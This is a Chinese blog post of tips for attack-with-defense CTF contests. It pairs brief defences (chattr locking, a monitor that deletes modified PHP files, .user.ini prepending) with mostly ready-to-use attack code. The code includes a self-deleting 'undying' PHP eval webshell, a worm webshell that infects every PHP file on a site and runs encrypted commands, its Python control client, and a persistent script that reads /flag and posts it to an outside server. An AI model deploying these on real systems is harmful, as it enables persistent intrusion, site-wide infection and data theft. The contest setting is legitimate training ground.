|
AWD中的那些Sao操作
防守
chatter: 锁定文件,不能删除,不能更改
+a: 只能给文件添加内容,但是删除不了,
chattr +a/etc/passwd
-d: 不可删除
加锁:chattr +i/etc/passwd 文件不能删除,不能更改,不能移动
查看加锁:lsattr/etc/passwd 文件加了一个参数 i 表示锁定
解锁:chattr -i/home/omd/h.txt - 表示解除
- #!/usr/bin/python
- #coding=utf-8
- #作用:读取被修改过的文件,然后将文件的地址加上内容全部存放在txt
- import sys,subprocess,os
- #查找最近10分钟被修改的文件
- def scanfile():
- #command: find -name '*.php' -mmin -10
- command = "find -name \'*.php\' -mmin -10"
- su = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
- STDOUT,STDERR = su.communicate()
- list = STDOUT.split("\n")
- #print str(list)
- #将文件处理成list类型然后返回。
- return list
- #读取文件:
- def loadfile(addr):
- data = ""
- #如果文件不存在就跳出函数
- try :
- file = open(addr,'r')
- data = file.read()
- except :
- return 0
- all_data = addr+"\n"+data+"\n\n"
- file1 = open("shell.txt",'a+')
- #避免重复写入
- try:
- shell_content = file1.read()
- except:
- shell_content = "null"
- #如果文件内容不为空再写入,避免写入空的。
- #print shell_content
- if data :
- if all_data not in shell_content:
- file1.write(all_data)
- file.close()
- file1.close()
- rm_cmd = "rm -rf "+addr
- su = subprocess.Popen(rm_cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
- su.communicate()
- print "loadfile over : "+addr
- if __name__ == '__main__':
- while True:
- list = scanfile()
- if list :
- for i in range(len(list)):
- #如果list[i]为空就不读取了
- if list[i]:
- loadfile(str(list[i]))
- else : pass
复制代码- 利用.user.ini配置文件使所有的php文件包含指定文件
- 常规操作:使所以php文件都包含waf
- auto_prepend_file=waf.php//具体路径和根据实际情况自行改写
复制代码 分别创建两个php文件一个命名为6.php一个为2.jpg
- //6.php
- <?php
- echo '66666'
- ?>
复制代码
- //2.jpg
- <?php
- if(@$_GET['shell']=='test'){
- phpinfo();
- }
- ?>
复制代码 创建.user.ini配置文件
访问6.php http://127.0.0.1/1/6.php
url后加上?shell=test后访问
php语句被成功执行
具体用来做什么就看你自己的脑洞了
攻击
- <?php
- ignore_user_abort(true);
- set_time_limit(0);
- unlink(__FILE__);
- $file = '.logout.php';
- $code = '<?php if(md5($_GET["pass"])=="21232f297a57a5a743894a0e4a801fc3"){eval($_POST["a"]);} ?>';
- while (1){
- file_put_contents($file,$code);
- usleep(8);
- }
- ?>
复制代码 激活不死马:访问 不死马地址?pass=admin (ps:21232f297a57a5a743894a0e4a801fc3是admin的md5值)
不死马使用:激活后会每隔8秒生成一个.logout.php文件,这是个md5加密的马(如果有文件包含可以生成其他格式的马,利用文件包含将其解析成php)。利用蚁剑连接,地址:不死马地址?pass=admin 密码a
蠕虫webshell是实行批量挂马的操作,利用此webshell可以在所有php文件中加上shell语句的包括phpmyadmin文件,可能唯一的解决方法就是删站。
shell文件:
- <?php
- $tips = 'AWD_Light_Check';
- //这个是后面检查的是否感染头,如果没有,就会重写这个php
- error_reporting(0);
- $Serv_Num = 159;
- //这个变量是要写入其他文件头部的本页行数,因为感染了其他php要互相感染,不能把其他原有php代码写入到其他php,会乱套。
- $arr_dir = array();
- //全局变量,扫到的文件夹
- $files = array();
- //全局变量,扫到的文件
- if (!function_exists('Url_Check')) {
- function Url_Check() {
- $pageURL = 'http';
- if ($_SERVER["HTTPS"] == "on") {
- $pageURL .= "s";
- }
- $pageURL .= '://';
- $pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"];
- return $pageURL;
- }
- function file_check($dir) {
- //扫描文件夹
- global $arr_dir;
- global $files;
- if (is_dir($dir)) {
- if ($handle = opendir($dir)) {
- while (($file = readdir($handle)) !== false) {
- if ($file != '.' && $file != "..") {
- if (is_dir($dir . "/" . $file)) {
- $arr_dir[] = $dir;
- $files[$file] = file_check($dir . "/" . $file);
- //拼接文件
- } else {
- $arr_dir[] = $dir;
- $files[] = $dir . "/" . $file;
- }
- }
- }
- }
- }
- closedir($handle);
- $arr_dir = array_unique($arr_dir);
- //去重
- }
- function write_conf() {
- #每个目录创一个马
- global $Serv_Num;
- global $arr_dir;
- foreach ($arr_dir as $dir_path) {
- // echo '<br>'.$dir_path;
- $srcode = '';
- $localtext = file(__FILE__);
- for ($i = 0; $i < $Serv_Num; $i++) {
- $srcode .= $localtext[$i];
- }
- //所有文件夹都生成一个webshell
- // echo "<span style='color:#666'></span> " . $dir_path . "/.Conf_check.php" . "<br/>";
- $le = Url_Check();
- echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $dir_path . "/.Conf_check.php") . '</iframe>';
- fputs(fopen($dir_path . "/.Conf_check.php", "w"), $srcode);
- }
- // 当前目录所有php被感染
- }
- function vul_tran() {
- //每个文件夹递归生成一个默认的马以及感染当前目录所有php文件。所谓感染就是把自身固定的代码插入到其他php文件中,甚至可以加注释符号或者退出函数exit();控制其他页面的可用性。不过要注意一下,是当前目录,这样响应速度会快很多,亲测如果是一次性感染全部目录的php文件后续会引发py客户端响应超时及其他bug,所以改过来了。
- //######
- global $Serv_Num;
- $pdir = dirname(__FILE__);
- //要获取的目录
- //先判断指定的路径是不是一个文件夹
- if (is_dir($pdir)) {
- if ($dh = opendir($pdir)) {
- while (($fi = readdir($dh)) != false) {
- //文件名的全路径 包含文件名
- $file_Path = $pdir . '/' . $fi;
- if (strpos($file_Path, '.php')) {
- //筛选当前目录.php后缀
- $le = Url_Check();
- $file_Path = str_replace('\\', '/', $file_Path);
- echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $file_Path) . '</iframe>';
- $ftarget = file($file_Path);
- if (!strpos($ftarget[0], 'AWD_Light_Check')) {
- //检查头部是否传播
- $scode = '';
- $localtext = file(__FILE__);
- for ($i = 0; $i < $Serv_Num; $i++) {
- $scode .= $localtext[$i];
- }
- $code_check = '';
- $file_check = fopen($file_Path, "r");
- //复制要传播的文件代码,进行重写
- while (!feof($file_check)) {
- $code_check .= fgets($file_check) . "\n";
- }
- fclose($file_check);
- $webpage = fopen($file_Path, "w");
- fwrite($webpage, $scode . $code_check);
- fclose($webpage);
- }
- }
- }
- closedir($dh);
- }
- }
- }
- }
- ///////////////////////////////////////////////////////////////////////////////////
- //主函数
- try {
- //定义特征才启动传播模式,特征值为_
- if (isset($_GET['_'])) {
- $host = Url_Check();
- file_check($_SERVER['DOCUMENT_ROOT']);
- //全局扫描
- write_conf();
- //写入单文件
- vul_tran();
- //感染当前目录
- } elseif (isset($_GET['time']) && isset($_GET['salt']) && isset($_GET['sign'])) {
- #客户端数字签名校验
- $Check_key = '9c82746189f3d1815f1e6bfe259dac29';
- $Check_api = $_GET['check'];
- $timestamp = $_GET['time'];
- $salt = $_GET['salt'];
- $csign = $_GET['sign'];
- $sign = md5($Check_api . $Check_key . $timestamp . $salt);
- if ($sign === $csign) {
- $nomal_test = '';
- for ($i = 0; $i < strlen($Check_api); $i++) {
- $nomal_test .= chr(ord($Check_api[$i]) ^ $i % $salt);
- }
- $nomal_test = base64_decode($nomal_test);
- $nowtime = time();
- if (abs($nowtime - $timestamp) <= 5) {
- $enc = base64_encode(rawurlencode(` {
- $nomal_test
- }
- `));
- //解密并执行命令在加密返回
- $pieces = explode("i", $enc);
- $final = "";
- foreach ($pieces as $val) {
- $final .= $val . "cAFAcABAAswTA2GE2c";
- }
- $final = str_replace("=", ":kcehc_revres", $final);
- echo strrev(substr($final, 0, strlen($final) - 18));
- exit;
- } else {
- header('HTTP/1.1 500 Internal Server Error');
- }
- } else {
- header('HTTP/1.1 500 Internal Server Error');
- }
- } else {
- header('HTTP/1.1 500 Internal Server Error');
- }
- }
- catch (Exception $e2) {
- }
复制代码 python连接脚本:
- #!/usr/bin/env python2.7
- # -*- coding:utf-8 -*-
- from urllib import unquote
- import base64
- import time
- from random import random
- from hashlib import md5
- import requests
- import traceback
- passwd = 'admin'
- webshell_url = 'http://192.168.75.134/wuhen.php'
- cmd='ifconfig'
- def getSerTime(url):
- ser_time_format = '%a, %d %b %Y %H:%M:%S GMT'
- r = requests.get(url, allow_redirects=False)
- if r.headers['Date']:
- stimestrp = time.strptime(r.headers['Date'], ser_time_format)
- stime = time.mktime(stimestrp) + 60 * 60 * 8 # GMT + 8 时区
- timeskew = int(time.time()) - int(stime)
- return timeskew
- else:
- return None
- # 加密
- def encrypt(string, salt, encoding='utf-8'):
- estring = ''
- b64string = base64.b64encode(string.encode(encoding)).decode('utf-8')
- for n, char in enumerate(b64string):
- estring += chr(ord(char) ^ n % salt)
- return estring
- # 解密
- def decrypt(estring, salt, encoding='utf-8'):
- data=estring[::-1].replace('cAFAcABAAswTA2GE2c','i').replace(':kcehc_revres','=').encode('unicode_escape').decode("string_escape")
- string=unquote(base64.urlsafe_b64decode(data))
- string=unicode(string, "gb2312").encode("utf8")#windows有中文乱码去掉这个注释,linux去掉这行,不然会报错
- return string
- # 命令执行
- def excmd(url, passwd, cmd, encoding='utf-8'):
- try:
- timeskew = getSerTime('/'.join(url.split('/')[:-1]))
- # 校对服务器时间,防止时间差造成API校验失败
- nowtime = int(time.time())
- if timeskew == None:
- print('检查服务器时间出错,请手动确认服务器时间!')
- # 手动获取服务器时间戳,并保存到servtime变量中,int类型
- # Linux下获取方法:date +%s
- servtime = 1540891350
- nowtime = servtime
- else:
- nowtime -= timeskew
- # 开始发起请求
- passwd = md5(passwd.encode('utf-8')).hexdigest()
- salt = int(random() * 100)
- ecmd = encrypt(cmd, salt)
- sign_tmp = ecmd + passwd + str(nowtime) + str(salt)
- sign = md5(sign_tmp.encode('utf-8')).hexdigest()
- parameters = {
- 'time': nowtime,
- 'check': ecmd,
- 'salt': salt,
- 'sign': sign
- }
- head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
- 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
- 'Connection': 'close',
- 'Upgrade-Insecure-Requests': '1',
- 'Cache-Control': 'max-age=0'}
- r = requests.get(url, params=parameters, headers=head,timeout=3)
- # r = requests.post(url, data=parameters, headers=head, proxies={'http': 'http://127.0.0.1:8080'}),
- if '0:' in r.text:print '执行成功:',
- res = decrypt(r.content.decode('utf-8').replace('0:',''), salt, encoding)
- return res
- except Exception as e:
- pass
- # print('参数配置错误,连接异常err:%s'%str(e))
- traceback.print_exc()
- def main():
- r = excmd(webshell_url, passwd, cmd)
- print(r)
-
- if __name__ == '__main__':
- main()
复制代码 具体使用方法参考:https://www.jianshu.com/p/90158b3b6b96
有些大马也支持批量挂马,不同大马具体功能不同,大马在提权方面有很大用处
自动删站脚本和不死马一样,运行后驻扎在进程中,每隔特定时间便删除目标站点,使得目标被无限check
此脚本运行在被攻击服务器上,每隔特定时间自动向flag服务器提交flag
- <?php
- error_reporting(0);
- set_time_limit(0);
- ignore_user_abort(true);
- unlink(__FILE__);
- //下面是基础的配置,需要自己根据情况配置一下
- $mode = "post"; //提交flag的方法,send为直接提交,save为将flag传回本地保存
- $token = "**************************"; //你的队伍token
- $server_ip = "SERVER URL"; //提交flag的服务器地址或者将flag传回本地的地址,eg: http://172.123.0.1:8888/check.php
- $flag_path = "/flag"; //flag的路径,默认为/flag
- $sleep_time = 300; //自动提交间隔,单位 秒 ,默认为五分钟
- //以下配置只适用于mode为send的时候
- if($mode === "send"){
- $method = "post"; //提交flag的方法,只有GET或POST,默认POST,若为其他字符串,则以post方式请求
- $parameter = array( //需要传过去的参数,可以根据比赛更改
- "token" => $token,
- "flag" => '',
- );
- }
- //配置结束
- function submit_flag($flag){
- global $server_ip, $parameter,$method;
- $curl = curl_init();
- $parameter['flag'] = $flag;
- if(strtoupper($method) === "GET"){
- $url = $server_ip . '?' . http_build_query($parameter);
- file_get_contents($url);
- }
- else if(strtoupper($method) === "POST"){
- $data = http_build_query($parameter);
- $opt = array(
- 'http' => array(
- 'method' => 'POST',
- 'header' => "Content-type: application/x-www-form-urlencoded\r\n". "Content-Length: " . strlen($data) . "\r\n",
- 'content' => $data
- )
- );
- $context = stream_context_create($opt);
- file_get_contents($server_ip, false,$context);
- }
- else{
- $data = http_build_query($parameter);
- $opt = array(
- 'http' => array(
- 'method' => 'POST',
- 'header' => "Content-type: application/x-www-form-urlencoded\r\n". "Content-Length: " . strlen($data) . "\r\n",
- 'content' => $data
- )
- );
- $context = stream_context_create($opt);
- file_get_contents($server_ip, false,$context);
- }
- }
- function recv_flag($flag){
- global $server_ip, $parameter;
- $parameter['flag'] = $flag;
- $url = $server_ip . '?' . http_build_query($parameter);
- $result = file_get_contents($url);
- if ($result === "Failed"){
- submit_flag($flag);
- }
- }
- while (1){
- $flag = file_get_contents($flag_path);
- if($mode === "send"){
- submit_flag($flag);
- }else{
- recv_flag($flag);
- }
- usleep($sleep_time * 1000);
- }
复制代码 如果需要将flag传回自己的服务器只需在自己的服务器中运行以下脚本:
- <?php
- //配置
- $save_path = 'flags.txt'; //保存flag的文件
- if(isset($_GET['flag'])){
- $f = fopen($save_path, 'a');
- fwrite($f, $_GET['flag']."\r\n");
- fclose($f);
- echo "Success";
- }
- die("Failed");
- ?>
复制代码
ps:flag.txt未加密读取里面的flag后及时删除里面的内容,防止被其他队伍利用
将flag文件与其他文件连接起来,使得访问目标文件便可读取的flag
ln -s /原文件或目录 /目标文件或目录(软链接文件或目录)
偷大佬的图????????????
awd的骚操作远远不止这些
还得靠各位大佬多多研究
多多搜集,暂且先写这些吧
下课!
|
|